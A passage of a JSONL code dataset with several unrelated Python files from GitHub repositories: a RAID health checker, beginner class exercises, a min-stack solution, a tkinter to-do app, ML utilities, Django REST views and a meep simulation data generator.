response.reason))\n po_api.close()\n except Exception as ex:\n LOGGER.error('Could not connecto to Pushover: ' + str(ex))\n\n\nif __name__ == '__main__':\n PARSER = argparse.ArgumentParser(description='Simple software RAID health check tool using mdadm and Pushover.')\n PARSER.add_argument('-a', '--array', dest='arrays', action='append', help='RAID array i.e /dev/md0', required=True)\n PARSER.add_argument('-t', '--token', dest='token', help='Pushover App Token', required=True)\n PARSER.add_argument('-k', '--key', dest='key', help='Pushover User Key', required=True)\n ARGS = PARSER.parse_args()\n mdadm_check(ARGS)\n","repo_name":"omgapuppy/mdadm-check-py","sub_path":"mdadm-check.py","file_name":"mdadm-check.py","file_ext":"py","file_size_in_byte":2375,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"455744292","text":"class Card(object):\n \"\"\"A playing card.\"\"\"\n RANKS=[\"A\",\"2\",\"3\",\"4\",\"4\",\"6\",\"7\",\"8\",\"9\",\"10\",\"J\",\"K\",]\n SUITS=[\"c\",\"d\",\"h\",\"s\"]\n\n def __init__(self,rank,suit):\n self.rank=rank\n self.suit=suit\n\n def __str__(self):\n rep=self.rank +self.suit\n return rep\n\n\nclass Hand(object):\n \"\"\"A hand of playing cards\"\"\"\n\n def __init__(self):\n self.cards=[]\n \n def __str__(self):\n if self.cards:\n rep=\"\"\n for card in self.cards:\n rep +=str(card) + \" \"\n else:\n rep=\"\"\n return rep\n \n def clear(self):\n self.cards=[]\n\n def add(self,card):\n self.cards.append(card)\n\n def give(self,card,other_card):\n self.cards.remove(card)\n other_hand.add(card)\n\n\n#main\ncard1=Card(rank=\"A\",suit=\"c\") # card1 is an object of the Card class\nprint(\"Printing a Card object:\")\nprint(card1)\n\n\n\ncard2=Card(rank=\"2\",suit=\"c\")\ncard3=Card(rank=\"3\",suit=\"c\")\ncard4=Card(rank=\"4\",suit=\"c\")\ncard5=Card(rank=\"5\",suit=\"c\")\n\nprint(card2)\nprint(card3)\nprint(card4)\nprint(card5)\n\n\n#Creating an empty hand object\n\nyourhand=Hand()\nprint(\"\\nPrint my hand before I add any cards:\")\n\nmy_hand.add(card1)\n","repo_name":"Oreoluwa-IVT/Python-Snippets","sub_path":"All Programs/Z12 More on classes.py","file_name":"Z12 More on classes.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"12242866983","text":"'''\nDesign a stack that supports push, pop, top, and retrieving the minimum element in constant time.\n\npush(x) -- Push element x onto stack.\npop() -- Removes the element on top of the stack.\ntop() -- Get the top element.\ngetMin() -- Retrieve the minimum element in the stack.\n'''\nclass MinStack:\n def __init__(self):\n self.stack = []\n\n def push(self, x: int) -> None:\n # Append is O(1).\n stack = self.stack\n if len(stack) == 0:\n stack.append((x, x))\n else:\n stack.append((x, min(x, stack[-1][1])))\n\n def pop(self) -> None:\n # Popping the last element, i.e. the top of the stack, is O(1).\n self.stack.pop()\n\n def top(self) -> int:\n return self.stack[-1][0]\n\n def getMin(self) -> int:\n return self.stack[-1][1]\n\n\nmin_stack = MinStack()\nmin_stack.push(-2)\nmin_stack.push(0)\nmin_stack.push(-3)\nprint(min_stack.getMin())\nmin_stack.pop()\nprint(min_stack.top())\nprint(min_stack.getMin())\n\nmin_stack = MinStack()\nmin_stack.push(-2)\nmin_stack.push(0)\nmin_stack.push(-1)\nprint(min_stack.getMin())\nprint(min_stack.top())\nmin_stack.pop()\nprint(min_stack.getMin())\n","repo_name":"abespitalny/CodingPuzzles","sub_path":"Leetcode/min_stack.py","file_name":"min_stack.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"74882498467","text":"import tkinter as tk\r\nfrom tkinter import messagebox\r\n\r\ndef add_task():\r\n task = task_entry.get()\r\n if task:\r\n task_listbox.insert(tk.END, task)\r\n task_entry.delete(0, tk.END)\r\n else:\r\n messagebox.showwarning(\"Warning\", \"Please enter a task.\")\r\n\r\ndef remove_task():\r\n selected_index = task_listbox.curselection()\r\n if selected_index:\r\n task_listbox.delete(selected_index)\r\n else:\r\n messagebox.showwarning(\"Warning\", \"Please select a task to remove.\")\r\n\r\n# main window\r\nroot = tk.Tk()\r\nroot.title(\"To-Do List\") \r\n\r\n# Create widgets\r\ntask_entry = tk.Entry(root)\r\nadd_button = tk.Button(root, text=\"Submit\", command=add_task)\r\nremove_button = tk.Button(root, text=\"Delete\", command=remove_task)\r\ntask_listbox = tk.Listbox(root)\r\n\r\n# grid layout\r\ntask_entry.grid(row=0, column=0, padx=10, pady=10)\r\nadd_button.grid(row=0, column=1, padx=10, pady=10)\r\nremove_button.grid(row=0, column=2, padx=10, pady=10)\r\ntask_listbox.grid(row=1, column=0, columnspan=3, padx=10, pady=10)\r\n\r\nroot.mainloop()\r\n","repo_name":"krishna5k1/CODSOFT_1-2-3","sub_path":"Todo List.py","file_name":"Todo List.py","file_ext":"py","file_size_in_byte":1042,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"37606492470","text":"\"\"\"\r\nCreated on Sat Jul 28 19:25:41 2018\r\n\r\n@author: George Kyriakides\r\n ge.kyriakides@gmail.com\r\n\"\"\"\r\n\r\nimport csv\r\nimport inspect\r\nimport logging\r\nimport random\r\nimport sys\r\nimport tarfile\r\nimport time\r\nfrom pathlib import Path\r\n\r\nimport numpy as np\r\nimport requests\r\nimport torch\r\nfrom tqdm import tqdm\r\n\r\nDATA_ROOT = \"./data\"\r\nLOGS_PATH = \"Log_Files\"\r\n\r\n\r\ndef singleton(class_):\r\n class class_w(class_):\r\n _instance = None\r\n\r\n def __new__(class_, *args, **kwargs):\r\n if class_w._instance is None:\r\n class_w._instance = super(class_w, class_).__new__(\r\n class_, *args, **kwargs\r\n )\r\n class_w._instance._sealed = False\r\n return class_w._instance\r\n\r\n def __init__(self, *args, **kwargs):\r\n if self._sealed:\r\n return\r\n super(class_w, self).__init__(*args, **kwargs)\r\n self._sealed = True\r\n\r\n class_w.__name__ = class_.__name__\r\n return class_w\r\n\r\n\r\ndef assure_reproducibility(seed=0):\r\n \"\"\"\r\n Set a manual seed to pytorch and\r\n enable deterministic cuda execution\r\n \"\"\"\r\n\r\n random.seed(seed)\r\n np.random.seed(seed)\r\n torch.manual_seed(seed)\r\n torch.set_deterministic(True)\r\n torch.backends.cudnn.benchmark = False\r\n\r\n\r\ndef plot_descriptor(descriptor):\r\n import matplotlib.pyplot as plt\r\n import networkx as nx\r\n import numpy as np\r\n\r\n spacing_h = 3.0\r\n spacing_w = 0.5\r\n half_spacing = 0.25\r\n\r\n def my_layout(G, paths, recursions):\r\n nodes = G.nodes\r\n lengths = [-len(x) for x in paths]\r\n sorted_ = np.argsort(lengths)\r\n\r\n positions = dict()\r\n h = 0\r\n w = 0\r\n min_x, max_x = -spacing_w, spacing_w\r\n\r\n for index in sorted_:\r\n h = 0\r\n added = False\r\n path = paths[index]\r\n for node in path:\r\n if node not in positions:\r\n positions[node] = (w, h)\r\n added = True\r\n h -= spacing_h\r\n else:\r\n if h > positions[node][1]:\r\n h = positions[node][1]\r\n\r\n if added:\r\n if w >= 0:\r\n w += spacing_w\r\n w *= -1\r\n if w > max_x:\r\n max_x = w\r\n if w < min_x:\r\n min_x = w\r\n\r\n h = 0\r\n for node in nodes:\r\n if node not in positions:\r\n positions[node] = (w, h)\r\n h -= spacing_h\r\n\r\n f_l = descriptor.first_layer\r\n l_l = descriptor.last_layer\r\n if f_l in positions:\r\n positions[f_l] = (positions[f_l][0], positions[f_l][1] + spacing_h)\r\n if l_l in positions:\r\n positions[l_l] = (positions[l_l][0], positions[l_l][1] - spacing_h)\r\n\r\n recursed_nodes = []\r\n for path in recursions:\r\n last = sorted(path)[-1]\r\n if last not in recursed_nodes:\r\n positions[last] = (\r\n positions[last][0] + half_spacing,\r\n positions[last][1],\r\n )\r\n recursed_nodes.append(last)\r\n return positions, min_x, max_x\r\n\r\n G = descriptor.to_networkx()\r\n plt.figure()\r\n plt.title(title)\r\n ax = plt.gca()\r\n in_path = descriptor.get_direct_paths()\r\n recs = descriptor.get_recursions()\r\n pos, min_x, max_x = my_layout(G, in_path, recs)\r\n\r\n nodes = set()\r\n for p in in_path:\r\n for node in p:\r\n nodes.add(node)\r\n for p in recs:\r\n for node in p:\r\n nodes.add(node)\r\n\r\n labels = {}\r\n\r\n for n in nodes:\r\n wrap_chars = 15\r\n name = str(descriptor.layers[n])\r\n labels[n] = \"\\n\".join(\r\n name[i : i + wrap_chars] for i in range(0, len(name), wrap_chars)\r\n )\r\n\r\n nx.draw(\r\n G,\r\n pos=pos,\r\n with_labels=True,\r\n node_shape=\"s\",\r\n node_color=\"none\",\r\n bbox=dict(\r\n facecolor=\"skyblue\", edgecolor=\"black\", boxstyle=\"round,pad=0.2\", alpha=0.5\r\n ),\r\n labels=labels,\r\n font_size=8,\r\n nodelist=list(nodes),\r\n )\r\n\r\n ax.set_xlim(xmin=min_x - half_spacing, xmax=max_x + half_spacing)\r\n plt.show()\r\n\r\n\r\ndef pdownload(url, path):\r\n resp = requests.get(url, stream=True)\r\n total = int(resp.headers.get(\"content-length\", 0))\r\n with open(path, \"wb\") as file, tqdm(\r\n desc=path,\r\n total=total,\r\n unit=\"iB\",\r\n unit_scale=True,\r\n unit_divisor=1024,\r\n ) as bar:\r\n for data in resp.iter_content(chunk_size=1024):\r\n size = file.write(data)\r\n bar.update(size)\r\n\r\n\r\ndef download_file_from_google_drive(id, destination):\r\n URL = \"https://docs.google.com/uc?export=download\"\r\n\r\n session = requests.Session()\r\n\r\n response = session.get(URL, params={\"id\": id}, stream=True)\r\n token = get_confirm_token(response)\r\n\r\n if token:\r\n params = {\"id\": id, \"confirm\": token}\r\n response = session.get(URL, params=params, stream=True)\r\n\r\n save_response_content(response, destination)\r\n\r\n\r\ndef get_confirm_token(response):\r\n for key, value in response.cookies.items():\r\n if key.startswith(\"download_warning\"):\r\n return value\r\n\r\n return None\r\n\r\n\r\ndef save_response_content(response, destination):\r\n CHUNK_SIZE = 32768\r\n\r\n with open(destination, \"wb\") as f, tqdm(\r\n desc=destination,\r\n total=int(response.headers.get(\"content-length\", 0)),\r\n unit=\"iB\",\r\n unit_scale=True,\r\n unit_divisor=1024,\r\n ) as bar:\r\n for chunk in response.iter_content(CHUNK_SIZE):\r\n if chunk: # filter out keep-alive new chunks\r\n size = f.write(chunk)\r\n bar.update(size)\r\n\r\n\r\ndef untar_file(filepath, destination):\r\n\r\n file = tarfile.open(filepath)\r\n file.extractall(filepath[:-4])\r\n file.close()\r\n\r\n\r\ndef count_parameters(model):\r\n return sum(p.numel() for p in model.parameters() if p.requires_grad)\r\n\r\n\r\ndef get_logger(loggername):\r\n \"\"\"Get the requested loader\"\"\"\r\n logs_path = LOGS_PATH\r\n Path(logs_path).mkdir(parents=True, exist_ok=True)\r\n loggername = logs_path + \"/\" + loggername\r\n logger = logging.getLogger(loggername)\r\n logger.setLevel(logging.DEBUG)\r\n\r\n # create a file handler\r\n handler = logging.FileHandler(loggername + \".log\")\r\n handler.setLevel(logging.DEBUG)\r\n\r\n # create a logging format\r\n formatter = logging.Formatter(\r\n \"%(asctime)s;%(name)s;%(levelname)s;%(message)s\", \"%Y-%m-%d %H:%M:%S\"\r\n )\r\n handler.setFormatter(formatter)\r\n\r\n # add the handlers to the logger\r\n logger.addHandler(handler)\r\n return logger\r\n\r\n\r\ndef get_genomes_from_logger(loggername):\r\n logs_path = LOGS_PATH\r\n loggername1 = logs_path + \"/\" + loggername + \".log\"\r\n rows = []\r\n with open(loggername1) as csv_file:\r\n csv_reader = csv.reader(csv_file, delimiter=\";\", skipinitialspace=True)\r\n for row in csv_reader:\r\n row_csv_reader = csv.reader(row, delimiter=\",\", skipinitialspace=True)\r\n data = []\r\n for row_data in row_csv_reader:\r\n data.append(row_data)\r\n row_data[0] = row_data[0].replace(\"(\", \"\")\r\n if row_data[-1][-1] == \")\":\r\n row_data[-1] = row_data[-1][:-1]\r\n rows.append(row_data)\r\n return rows\r\n\r\n\r\ndef get_layer_out_size(in_size, kernel_size, padding=0, dilation=1, stride=1):\r\n # print(in_size, kernel_size, padding, dilation, stride)\r\n return int(\r\n np.floor(\r\n (in_size + 2 * padding - dilation * (kernel_size - 1) - 1) / stride + 1\r\n )\r\n )\r\n\r\n\r\ndef get_transpose_out_size(\r\n in_size, kernel_size, padding=0, dilation=1, stride=1, output_padding=0\r\n):\r\n return int((in_size - 1) * stride - 2 * padding + kernel_size + output_padding)\r\n\r\n\r\ndef extract_params(object_class, non_empty_only=False):\r\n \"\"\"Finds the parameters of a class' constructor.\r\n\r\n Parameters\r\n ----------\r\n object_class : class\r\n The class in question.\r\n\r\n non_empty_only : bool (optional)\r\n If True, only the parameters without a default value are returned.\r\n\r\n Returns\r\n -------\r\n return_params : list\r\n A list of the requested parameters.\r\n\r\n \"\"\"\r\n sig = inspect.signature(object_class.__init__)\r\n params = sig.parameters\r\n return_params = []\r\n for p in params:\r\n if non_empty_only:\r\n if params[p].default is inspect._empty:\r\n return_params.append(p)\r\n else:\r\n return_params.append(p)\r\n if \"self\" in return_params:\r\n return_params.remove(\"self\")\r\n return return_params\r\n\r\n\r\ndef print_all_parameters(layer_type):\r\n \"\"\"Prints the parameters of a specific layer type.\r\n\r\n Parameters\r\n ----------\r\n layer_type : pytorch layer\r\n The layer in question.\r\n \"\"\"\r\n all_params = []\r\n for i in layer_type:\r\n all_params.extend(extract_params(i))\r\n all_params = set(all_params)\r\n print(all_params)\r\n\r\n\r\ndef get_random_value(in_type=float, lower_bound=0, upper_bound=1):\r\n \"\"\"Generate a random value of type int, float or bool.\r\n\r\n Parameters\r\n ----------\r\n in_type : int, float or bool\r\n The requested type.\r\n\r\n Returns\r\n -------\r\n value : int, float or bool\r\n The random value\r\n \"\"\"\r\n if lower_bound is None:\r\n return 0 if upper_bound is None else upper_bound\r\n elif upper_bound is None:\r\n return 0 if lower_bound is None else lower_bound\r\n elif lower_bound == upper_bound:\r\n return lower_bound\r\n elif lower_bound > upper_bound:\r\n tmp = upper_bound\r\n upper_bound = lower_bound\r\n lower_bound = tmp\r\n\r\n if in_type is int:\r\n return np.random.randint(lower_bound, upper_bound)\r\n elif in_type is float:\r\n return np.random.uniform(lower_bound, upper_bound)\r\n elif in_type is bool:\r\n return np.random.rand() > 0.5\r\n\r\n\r\ndef generate_layer_parameters(layer, mandatory_only=True):\r\n \"\"\"Generate random values for a given layer's class constructor parameters.\r\n\r\n Parameters\r\n ----------\r\n layer : class\r\n The requested pytorch layer class.\r\n\r\n mandatory_only : bool (optional)\r\n If True, only the parameters without a default value are returned.\r\n\r\n Returns\r\n -------\r\n params : list\r\n A list with the parameters' names.\r\n\r\n param_vals : list\r\n A list with the generated values.\r\n \"\"\"\r\n from neural_nets import layers\r\n\r\n lt = layers.find_layer_type(layer)\r\n params = extract_params(layer, mandatory_only)\r\n param_types = []\r\n param_vals = []\r\n for param in params:\r\n type_ = layers.parameters[lt][param]\r\n param_types.append(type_)\r\n param_vals.append(get_random_value(type_))\r\n return params, param_vals\r\n\r\n\r\n# =============================================================================\r\n#\r\n# =============================================================================\r\nTOTAL_BAR_LENGTH = 65.0\r\nterm_width = 40\r\nlast_time = time.time()\r\nbegin_time = last_time\r\n\r\n\r\ndef progress_bar(current, total, msg=None):\r\n global last_time, begin_time\r\n if current == 0:\r\n begin_time = time.time() # Reset for new bar.\r\n\r\n cur_len = int(TOTAL_BAR_LENGTH * current / total)\r\n rest_len = int(TOTAL_BAR_LENGTH - cur_len) - 1\r\n\r\n sys.stdout.write(\" [\")\r\n for _ in range(cur_len):\r\n sys.stdout.write(\"=\")\r\n sys.stdout.write(\">\")\r\n for _ in range(rest_len):\r\n sys.stdout.write(\".\")\r\n sys.stdout.write(\"]\")\r\n\r\n cur_time = time.time()\r\n step_time = cur_time - last_time\r\n last_time = cur_time\r\n tot_time = cur_time - begin_time\r\n\r\n L = []\r\n L.append(\" Step: %s\" % format_time(step_time))\r\n L.append(\" | Tot: %s\" % format_time(tot_time))\r\n if msg:\r\n L.append(\" | \" + msg)\r\n\r\n msg = \"\".join(L)\r\n sys.stdout.write(msg)\r\n for _ in range(term_width - int(TOTAL_BAR_LENGTH) - len(msg) - 3):\r\n sys.stdout.write(\" \")\r\n\r\n # Go back to the center of the bar.\r\n for i in range(term_width - int(TOTAL_BAR_LENGTH / 2) + 2):\r\n sys.stdout.write(\"\\b\")\r\n\r\n sys.stdout.write(\"\\n\")\r\n\r\n sys.stdout.flush()\r\n\r\n\r\ndef format_time(seconds):\r\n days = int(seconds / 3600 / 24)\r\n seconds = seconds - days * 3600 * 24\r\n hours = int(seconds / 3600)\r\n seconds = seconds - hours * 3600\r\n minutes = int(seconds / 60)\r\n seconds = seconds - minutes * 60\r\n secondsf = int(seconds)\r\n seconds = seconds - secondsf\r\n millis = int(seconds * 1000)\r\n\r\n f = \"\"\r\n i = 1\r\n if days > 0:\r\n f += str(days) + \"D\"\r\n i += 1\r\n if hours > 0 and i <= 2:\r\n f += str(hours) + \"h\"\r\n i += 1\r\n if minutes > 0 and i <= 2:\r\n f += str(minutes) + \"m\"\r\n i += 1\r\n if secondsf > 0 and i <= 2:\r\n f += str(secondsf) + \"s\"\r\n i += 1\r\n if millis > 0 and i <= 2:\r\n f += str(millis) + \"ms\"\r\n i += 1\r\n if f == \"\":\r\n f = \"0ms\"\r\n return f\r\n","repo_name":"GeorgeKyriakides/nord","sub_path":"nord/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":13164,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"70"} +{"seq_id":"34970639327","text":"from apps.Empresa.models import Sede\nfrom core.permissions import admin_or_superuser_or_encargado_required\nfrom django.db.models import Q\nfrom django.shortcuts import get_object_or_404\nfrom rest_framework import status\nfrom rest_framework.decorators import permission_classes\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\n\nfrom .models import Funcionario, Proveedores\nfrom .serializers import FuncionarioPreviewSerializer, FuncionarioSerializer, FuncionarioStoreSerializer, \\\n\tProveedorSerializer\n\n\nclass FuncionarioIndex(APIView):\n @admin_or_superuser_or_encargado_required\n def get(self, request, format=None):\n funcionarios = Funcionario.objects.order_by('-created_at')[:5]\n serializer = FuncionarioPreviewSerializer(funcionarios, many=True)\n return Response(serializer.data)\n\n @admin_or_superuser_or_encargado_required\n def post(self, request, format=None):\n myData = request.data.copy()\n queryset = Sede.objects.get(Q(name__exact=request.data.get('sede')) | Q(id__exact=request.data.get('sede')))\n myData['sede'] = queryset.id\n serializer = FuncionarioStoreSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass FuncionarioDetail(APIView):\n @admin_or_superuser_or_encargado_required\n def get(self, request, pk, format=None):\n funcionario = get_object_or_404(Funcionario, iden=pk)\n serializer = FuncionarioSerializer(funcionario)\n return Response(serializer.data)\n\n @admin_or_superuser_or_encargado_required\n def put(self, request, pk, format=None):\n funcionario = get_object_or_404(Funcionario, iden=pk)\n myData = request.data.copy()\n queryset = Sede.objects.get(name__exact=request.data.get('sede'))\n myData['sede'] = queryset.id\n serializer = FuncionarioSerializer(funcionario, data=myData, partial=True)\n if serializer.is_valid():\n serializer.save()\n return Response(status=status.HTTP_200_OK)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n @admin_or_superuser_or_encargado_required\n def delete(self, request, pk, format=None):\n queryset = get_object_or_404(Funcionario, iden=pk)\n queryset.delete()\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n\nclass FuncionarioSearch(APIView):\n @admin_or_superuser_or_encargado_required\n def get(self, request, pk, format=None):\n queryset = Funcionario.objects.filter(\n Q(iden__icontains=pk) | Q(first_name__icontains=pk) | Q(last_name__icontains=pk))\n serializer = FuncionarioPreviewSerializer(queryset, many=True)\n return Response(serializer.data)\n\n\n# Proveedores Controllers\nclass ProveedoresIndex(APIView):\n @admin_or_superuser_or_encargado_required\n def get(self, request, format=None):\n proveedores = Proveedores.objects.order_by('-created_at')[:5]\n serializer = ProveedorSerializer(proveedores, many=True)\n return Response(serializer.data)\n\n @admin_or_superuser_or_encargado_required\n def post(self, request, format=None):\n serializer = ProveedorSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass ProveedoresDetail(APIView):\n @admin_or_superuser_or_encargado_required\n def get(self, request, pk, format=None):\n proveedor = get_object_or_404(Proveedores, NIT=pk)\n serializer = ProveedorSerializer(proveedor)\n return Response(serializer.data)\n\n @admin_or_superuser_or_encargado_required\n def put(self, request, pk, format=None):\n print(\"Actualizando\")\n proveedor = get_object_or_404(Proveedores, NIT=pk)\n serializer = ProveedorSerializer(proveedor, data=request.data, partial=True)\n if serializer.is_valid():\n serializer.save()\n return Response(status=status.HTTP_200_OK)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n @admin_or_superuser_or_encargado_required\n def delete(self, request, pk, format=None):\n queryset = get_object_or_404(Proveedores, NIT=pk)\n queryset.delete()\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n\nclass SearchProveedor(APIView):\n @admin_or_superuser_or_encargado_required\n def get(self, request, pk, format=None):\n queryset = Proveedores.objects.filter(\n Q(NIT__icontains=pk) | Q(razonSocial__icontains=pk))\n serializer = ProveedorSerializer(queryset, many=True)\n return Response(serializer.data)\n","repo_name":"luchompi/stocket-deploy","sub_path":"apps/Personas/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"21894436504","text":"import argparse\nfrom pathlib import Path\nfrom uuid import uuid4\n\nimport h5py\nimport meep as mp\nimport numpy as np\nfrom mpi4py import MPI\nfrom scipy.ndimage import gaussian_filter\nfrom simulation import FDTD\n\n\ndef get_group_masters():\n comm = MPI.COMM_WORLD\n num_workers = comm.Get_size()\n\n is_group_master = True if mp.my_rank() == 0 else False\n group_master_idx = np.zeros((num_workers,), dtype=np.bool_)\n\n smsg = [np.array([is_group_master]), ([1] * num_workers, [0] * num_workers)]\n rmsg = [group_master_idx, ([1] * num_workers, list(range(num_workers)))]\n\n comm.Alltoallv(smsg, rmsg)\n\n group_masters = np.arange(num_workers)[group_master_idx]\n\n return group_masters\n\n\ndef blob(shape, sigma, dtype=\"?\"):\n design = np.random.uniform(0, 1, shape)\n design = gaussian_filter(design, sigma, mode=\"constant\")\n return np.array(design > 0.5, dtype=dtype)\n\n\ndef main(args):\n mp.verbosity(0)\n comm = MPI.COMM_WORLD\n rank = comm.Get_rank()\n size = comm.Get_size()\n\n mp.divide_parallel_processes(args.n_parallel)\n\n group_masters = get_group_masters()\n\n if args.from_dataset is not None:\n with h5py.File(args.from_dataset, \"r\") as f:\n samples = sorted(list(f.keys()))\n shape = np.array(f[samples[0]][args.dataset_key]).shape\n samples = {\n k: v\n for k, v in zip(\n group_masters,\n np.array_split(samples[: args.n_samples], args.n_parallel),\n )\n }\n else:\n if args.uuid:\n samples = {\n k: v\n for k, v in zip(\n group_masters,\n np.array_split(\n [uuid4() for _ in range(args.n_samples)], args.n_parallel\n ),\n )\n }\n else:\n samples = {\n k: v\n for k, v in zip(\n group_masters,\n np.array_split(np.arange(args.n_samples), args.n_parallel),\n )\n }\n shape = [int(args.sim_res * e) for e in args.design_extent]\n\n worker_map = {\n k: list(range(k + 1, k + size // args.n_parallel)) for k in group_masters\n }\n\n if mp.am_master():\n my_master = rank\n else:\n my_master = [k for k in worker_map.keys() if rank in worker_map[k]][0]\n\n for key in samples[my_master]:\n if mp.am_master():\n if args.from_dataset is not None:\n with h5py.File(args.from_dataset, \"r\") as f:\n design = np.array(f[key][args.dataset_key], dtype=\"f4\")\n design = design > np.mean(design)\n else:\n while True:\n design = blob(shape, args.sigma, dtype=\"?\")\n if not np.all(~design):\n break\n for dest in worker_map[rank]:\n comm.Send(design, dest=dest)\n else:\n design = np.empty(shape, dtype=\"?\")\n comm.Recv(design, source=[k for k, v in worker_map.items() if rank in v][0])\n\n sim = FDTD(\n extent=args.sim_extent,\n design_extent=args.design_extent,\n resolution=args.sim_res,\n src_components=args.src_components,\n out_components=args.out_components,\n )\n fields = sim(design)\n\n if mp.am_master():\n args.odir.mkdir(exist_ok=True, parents=True)\n if args.from_dataset is not None or args.uuid:\n fname = key\n else:\n fname = f\"{key:0{len(str(args.n_samples))}d}\"\n with h5py.File(args.odir / f\"{fname}.h5\", \"w\") as f:\n f.create_dataset(\"design\", data=design, compression=\"gzip\")\n g = f.create_group(\"fields\")\n for k, v in fields.items():\n g.create_dataset(k, data=v, compression=\"gzip\")\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--n_parallel\", type=int, default=19)\n parser.add_argument(\"--n_samples\", type=int, default=19)\n parser.add_argument(\"--src_components\", type=str, nargs=\"+\", default=[\"ex\"])\n parser.add_argument(\n \"--out_components\", type=str, nargs=\"+\", default=[\"ex\", \"ey\", \"ez\"]\n )\n parser.add_argument(\"--sim_res\", type=int, default=25)\n parser.add_argument(\n \"--sim_extent\", type=float, nargs=\"+\", default=[5.12, 5.12, 5.12]\n )\n parser.add_argument(\"--sigma\", type=int, default=12)\n parser.add_argument(\n \"--design_extent\", type=float, nargs=\"+\", default=[5.12, 5.12, 5.12]\n )\n parser.add_argument(\"--odir\", type=Path, default=\"generated_samples/\")\n parser.add_argument(\"--from_dataset\", type=Path, default=None)\n parser.add_argument(\"--dataset_key\", type=str, default=None)\n parser.add_argument(\"--uuid\", action=\"store_true\")\n args = parser.parse_args()\n main(args)\n","repo_name":"tfp-photonics/neurop_invdes","sub_path":"data_generation/create_sample.py","file_name":"create_sample.py","file_ext":"py","file_size_in_byte":4932,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"70"} +{"seq_id":"26858064854","text":"# -*- coding: utf-8 -*-\n\nimport base64\nimport datetime\nimport hashlib\nimport math\nimport time\nimport uuid\n\nfrom tornado.escape import json_decode, json_encode\nfrom zweb.orm.util import safestr, safeunicode # noqa\n\n\nclass Storage(dict):\n def __getattr__(self, key):\n try:\n return self[key]\n except KeyError as k:\n raise AttributeError(k)\n\n def __setattr__(self, key, value):\n self[key] = value\n\n def __delattr__(self, key):\n try:\n del self[key]\n except KeyError as k:\n raise AttributeError(k)\n\n def __repr__(self):\n return ''\n\n\nstorage = Storage\n\n\ndef md5(s):\n m = hashlib.md5()\n m.update(s)\n return m.hexdigest()\n\n\ndef gen_cookie_secret():\n return base64.b64encode(uuid.uuid4().bytes + uuid.uuid4().bytes)\n\n\ndef strftm(tm=None, fmt='%Y-%m-%d %H:%M:%S'):\n if tm is None:\n tm = int(time.time())\n tm = int(tm)\n if tm <= 100:\n return ''\n return time.strftime(fmt, time.localtime(tm))\n\n\ndef str2tm(s, fmt='%Y-%m-%d %H:%M:%S'):\n obj = datetime.datetime.strptime(s, fmt)\n return int(time.mktime(obj.timetuple()))\n\n\ndef iif(cond, yes, no=''):\n if cond:\n return yes\n return no\n\n\ndef get_pager(total_count, per_page, page):\n max_page = int(math.ceil(total_count / (per_page * 1.0)))\n offset = (page - 1) * per_page\n env = storage()\n env.per_page = per_page\n env.max_page = max_page\n env.page = page\n env.total_count = total_count\n env.offset = offset\n return env\n\n\ndef choice_values(choices):\n return [e[0] for e in choices]\n\n\ndef get_choice_label(choices, value, default=''):\n for v, label in choices:\n if v == value:\n return label\n return default\n\n\ndef as_int(v, default=0):\n if not v:\n return default\n return int(v)\n\n\ndef m2dict(d):\n if d:\n if hasattr(d, 'to_dict'):\n d = d.to_dict()\n ctx = storage()\n props_val = d.pop('props', None)\n if props_val:\n ctx.update(json_decode(props_val))\n ctx.update(d)\n return ctx\n else:\n return {}\n\n\ndef update_props(obj, new_props):\n if obj.is_new():\n setattr(obj, 'props', '')\n props = obj.props\n if not props:\n props = {}\n else:\n props = json_decode(props)\n props.update(new_props)\n obj.props = json_encode(props)\n\n\ntpl_context = dict(strftm=strftm, iif=iif, get_choice_label=get_choice_label)\n","repo_name":"hilarryxu/cookiecutter-zweb","sub_path":"{{cookiecutter.project_slug}}/{{cookiecutter.pkg_name}}/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"71331215267","text":"import random\nimport numpy\nuser_spec= int(input(\"user-specified number of heads: \"))\nno_of_heads=0\ncount=0\nwhile no_of_heads < user_spec:\n value=random.randrange(0,2)\n if value==1:\n no_of_heads+=1\n count+=1\n print(value)\nprint(count)\n","repo_name":"yaashia2020/Stochastic-Processes","sub_path":"Bernoulli trials/511_1.4.py","file_name":"511_1.4.py","file_ext":"py","file_size_in_byte":253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"7881204306","text":"from torchvision import datasets\nimport torchvision.transforms as transforms\nfrom torch.utils.data import DataLoader\nfrom torch.utils.data import SubsetRandomSampler\nimport sys\n\n\n\n\ndef subsetloader(ls_indices, start, end, trainset, batch_size):\n \n ids = ls_indices[start:end]\n sampler = SubsetRandomSampler(ids)\n loader = DataLoader(trainset, batch_size=batch_size, sampler=sampler)\n return loader\n\n\n\n\n\ndef dataloader(dataset=\"cifar\", batch_size_train=8, batch_size_test=1000, 